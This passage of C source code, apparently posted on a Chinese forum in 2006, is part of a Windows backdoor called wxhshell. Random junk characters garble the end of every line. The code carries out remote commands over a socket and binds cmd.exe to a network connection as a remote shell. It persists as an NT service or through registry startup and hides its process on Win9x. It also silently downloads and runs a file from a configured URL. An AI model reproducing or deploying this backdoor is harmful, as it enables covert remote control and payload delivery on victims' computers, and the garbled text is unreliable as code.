  case '?': { w.-!UD9/.x  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -RK- Fu<e  
    break; -`TEVS?`l  
  } 9k[9P;"F:  
  // 安装 XHGFf_kW_N  
  case 'i': { 9]o-O]7/  
    if(Install()) W'u>#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -;k+GrLr^  
    else "Os_vlapHo  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xFg>SJ7]  
    break; wo 5   
    } SOvF[,+  
  // 卸载 dN[\xVcj  
  case 'r': { R .2wqkY  
    if(Uninstall()) Ef13Q]9|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0Z]!/AsC  
    else ^D-/`d  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g9 5`.V}  
    break; @2v_pJy^  
    } QoH6  
  // 显示 wxhshell 所在路径 t#eTV@-  
  case 'p': { !m?-!:  
    char svExeFile[MAX_PATH]; d9|<@A  
    strcpy(svExeFile,"\n\r"); .Rf_Cl  
      strcat(svExeFile,ExeFile); "`1bA"E  
        send(wsh,svExeFile,strlen(svExeFile),0); }?v )N).kW  
    break; Z>#i**  
    } 2Q:+_v  
  // 重启 ^&Y#)II  
  case 'b': { ~2khgZ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^@NU}S):yN  
    if(Boot(REBOOT)) @>H75  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,U dVNA  
    else { 4x[S\,20  
    closesocket(wsh); !brf(-sr)  
    ExitThread(0); ZO$%[ftb  
    } x `)&J B  
    break; =kG@a(-  
    } Q>1[JW{$}  
  // 关机 r1RM  
  case 'd': { 5bpEYW+  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); R<N ]B  
    if(Boot(SHUTDOWN)) fZA4q0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }txX; "/  
    else { Aj]V`B:65  
    closesocket(wsh); &W6^sj*k5U  
    ExitThread(0); R@k&SlL'`  
    } "kgdbAZ  
    break; Rr|VD@%  
    } i@M [>~  
  // 获取shell ZbAcO/  
  case 's': { ]-QA'Lq  
    CmdShell(wsh); ,:\|7F  
    closesocket(wsh); TT3|/zwn  
    ExitThread(0); 2x0<&Xy#P  
    break; hODWB&b  
  } 'Ne@e)s9  
  // 退出 1c{DY  
  case 'x': { WU=59gB+jL  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); mvT(.R ..s  
    CloseIt(wsh); 001FmiV  
    break; 5( HG|  
    } x{/g(r={}  
  // 离开 5iyd Z  
  case 'q': {  zi`o#+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]+:^W^bs:  
    closesocket(wsh); (;^syJrh  
    WSACleanup(); J!U}iD@occ  
    exit(1); S\!ana])  
    break; !H>R%g#28_  
        } M?uC%x+S$_  
  } xAMW-eF?d  
  } r<Kx0`y  
3HY9\'t6  
  // 提示信息 QbpFE)TYJ|  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3y8G?LL/[7  
} 9\JF`ff_  
  } r#] WI|  
$,Yd>%Y  
  return; `XEr(e9  
} pgZXJ  
Whf.fK  
// shell模块句柄 _X"N1,0  
int CmdShell(SOCKET sock) **gXvTqI  
{ o"R7,N0rB  
STARTUPINFO si; LW_ f  
ZeroMemory(&si,sizeof(si)); MfQ?W`Kop  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; zi*R`;_`,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; naznayy  
PROCESS_INFORMATION ProcessInfo; .$)  
char cmdline[]="cmd"; 2Ny"O.0h  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7,9=uk>0\  
  return 0; M,mvys$  
} L"Olwwmk  
8k1Dj1@0z  
// 自身启动模式 mk+B9?;cF-  
int StartFromService(void) *CTlOy  
{ (|1A?@sJ#h  
typedef struct nq8C'Fo!6T  
{ 2Gaa(rJ5o  
  DWORD ExitStatus; VUR|OV%  
  DWORD PebBaseAddress; T\ >a!  
  DWORD AffinityMask; \<TXS)w]  
  DWORD BasePriority; eHNyNVz  
  ULONG UniqueProcessId; \%N!5>cZ{  
  ULONG InheritedFromUniqueProcessId; Oh6fj}eK  
}   PROCESS_BASIC_INFORMATION; ):_\;.L  
_1!OlQ  
PROCNTQSIP NtQueryInformationProcess; HLaRGN3,  
(7=!+'T"  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; RxWVe-Dg  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; K':;%~I  
8::$AQL3  
  HANDLE             hProcess; ?[Q3q4  
  PROCESS_BASIC_INFORMATION pbi; yx&51G$  
&/]Fc{]^$f  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :;fHDU|  
  if(NULL == hInst ) return 0; 3r."j2$Hs0  
mah JSz(3  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); c?&X?<  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); s6.M\^  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =\wxsL  
e)#J1(j_  
  if (!NtQueryInformationProcess) return 0;  >DZw  
EkNunCls  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Tl[!=S  
  if(!hProcess) return 0; "PTZ%7YH}  
WE.{p>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `q*M4,  
H0`]V6+<f  
  CloseHandle(hProcess); ={d>iB yq  
\VyZ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +kO!Xc%P&  
if(hProcess==NULL) return 0; RA'M8:$  
r@t9Ci=}  
HMODULE hMod; ,UGRrS  
char procName[255]; ![_*(8v}S  
unsigned long cbNeeded; @ljA  
+&( Mgbna  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); .e=:RkI,  
se>8Z4  
  CloseHandle(hProcess); X"e5 Y!:M-  
[~#WG/!:  
if(strstr(procName,"services")) return 1; // 以服务启动 ^l=!JP=M=  
_Wp{ [TH  
  return 0; // 注册表启动 C=)A6 ;=se  
} BJsz2t :0  
MmnOHN@.  
// 主模块 b8"?VS5-"  
int StartWxhshell(LPSTR lpCmdLine) &cHV7  
{ :'3XAntZA  
  SOCKET wsl; +*T7@1  
BOOL val=TRUE; n}_JB>i~  
  int port=0; UA8GL D9  
  struct sockaddr_in door; )ufg9"\  
YoZFwRQU  
  if(wscfg.ws_autoins) Install(); (k) l= ]`}  
M/ni6%x  
port=atoi(lpCmdLine); Jz.NHiLct1  
v~V5`%  
if(port<=0) port=wscfg.ws_port; Vq5k+3W+  
s(%oTKjt  
  WSADATA data; t.&Od;\[/  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !QHFg-=7  
9XyYHi  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   C8e !H  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9S7 kUl{  
  door.sin_family = AF_INET; 5rRN-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); h[1MtmNw  
  door.sin_port = htons(port); X;B\Kj`n  
[t7]{d*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { i2YuOV!  
closesocket(wsl); Q}K#'Og  
return 1; {QZUDPPR  
} *4xat:@{{  
?R Oqn6k&c  
  if(listen(wsl,2) == INVALID_SOCKET) { RwPN gRF  
closesocket(wsl); &8>IeK {I  
return 1; )Xak JU^o  
} ^m"u3b4  
  Wxhshell(wsl); e2ilB),  
  WSACleanup(); feNdMR7eM  
zj`v?#ET  
return 0; pUq1|)g  
[*HN"  
} 4.h=&jz&  
X M#T'S9y8  
// 以NT服务方式启动 .ir<s>YM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Q/I! }C4  
{ `'c_=<&n  
DWORD   status = 0; x&9hI  
  DWORD   specificError = 0xfffffff; C\nhqkn  
m&\h4$[kql  
  serviceStatus.dwServiceType     = SERVICE_WIN32; l>{R`BZ/  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +~roU{& o  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?~;:jz|9<'  
  serviceStatus.dwWin32ExitCode     = 0; ]dk8lZ;bo  
  serviceStatus.dwServiceSpecificExitCode = 0; YZ7|K<   
  serviceStatus.dwCheckPoint       = 0; 7L@K _ZJ  
  serviceStatus.dwWaitHint       = 0; M^iU;vo  
RIE5KCrGB  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); iz?tu: \v&  
  if (hServiceStatusHandle==0) return; /yF QeE  
2Sp=rI  
status = GetLastError(); pN9A{v(  
  if (status!=NO_ERROR) %8Dz o  
{ a{J,~2>  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Eam  
    serviceStatus.dwCheckPoint       = 0; }_;!hdY q  
    serviceStatus.dwWaitHint       = 0; g'=B%eO$j:  
    serviceStatus.dwWin32ExitCode     = status; . I'o  
    serviceStatus.dwServiceSpecificExitCode = specificError; c`WHNky%j  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); R~jHr )0.#  
    return; IS[thbzkZ  
  } ./D$dbu3  
IlE_@gS8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; |- rI@2`  
  serviceStatus.dwCheckPoint       = 0; ,^WJm?R  
  serviceStatus.dwWaitHint       = 0; >O?U= OeD  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); J?}WQLVP'  
} [],1lRYI9_  
13%t"-@bh  
// 处理NT服务事件,比如:启动、停止 ^;maotHn  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ,FMx5$  
{ $:j G-r  
switch(fdwControl) }gMDXy}  
{ =;|QZ"%E  
case SERVICE_CONTROL_STOP: FwY&/\J7V  
  serviceStatus.dwWin32ExitCode = 0; Ru>uL@w  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ]M[#.EX  
  serviceStatus.dwCheckPoint   = 0; I}t3 p|z  
  serviceStatus.dwWaitHint     = 0; 0zCw>wBPW  
  { r"a5(Q;n  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); vZ N!Zl7S  
  } +1!qs,  
  return; kbfC|5S  
case SERVICE_CONTROL_PAUSE: D8nD/||;Z  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 5qkH|*Z3  
  break; jfx8EbQ  
case SERVICE_CONTROL_CONTINUE: ;w-qHha  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; {W~q z^>u4  
  break; pM&YXb?  
case SERVICE_CONTROL_INTERROGATE: V8wKAj Ux  
  break; jhX[fT1m  
}; @81Vc<dJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >'xGp7}y  
} p=B>~CH  
@]c(V%x   
// 标准应用程序主函数 hj$ e|arB  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8kOKwEX  
{ N0w`!<y:c  
c$`4*6  
// 获取操作系统版本 f%)zg(YlO  
OsIsNt=GetOsVer(); V0(o~w/W%!  
GetModuleFileName(NULL,ExeFile,MAX_PATH); aJe^Tp(  
$DC*i-}qFg  
  // 从命令行安装 CWG6;NT6m  
  if(strpbrk(lpCmdLine,"iI")) Install(); wHv]ViNvXE  
3bd5FsI^pU  
  // 下载执行文件 |R@~-Ht  
if(wscfg.ws_downexe) { ~h=X8-D  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ',4x$qe  
  WinExec(wscfg.ws_filenam,SW_HIDE); d:q +  
} Rqy0Q8K<  
]cC[-F[  
if(!OsIsNt) { 7HJS.047  
// 如果时win9x,隐藏进程并且设置为注册表启动 {d%&zvJnD  
HideProc(); 9W>Y#V~|v!  
StartWxhshell(lpCmdLine); 5,;`$'?a%  
} G"59cv8z4R  
else a7/-wk  
  if(StartFromService()) \WrFqm#  
  // 以服务方式启动 C"qU-&*v  
  StartServiceCtrlDispatcher(DispatchTable); H:JLAK  
else X$\i{p9jw  
  // 普通方式启动 fiI $T:g.  
  StartWxhshell(lpCmdLine); w[-Fm+A>  
e{9jn>\,a  
return 0; EQIo5  
}
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只看该作者 1 发表于: 2006-10-10
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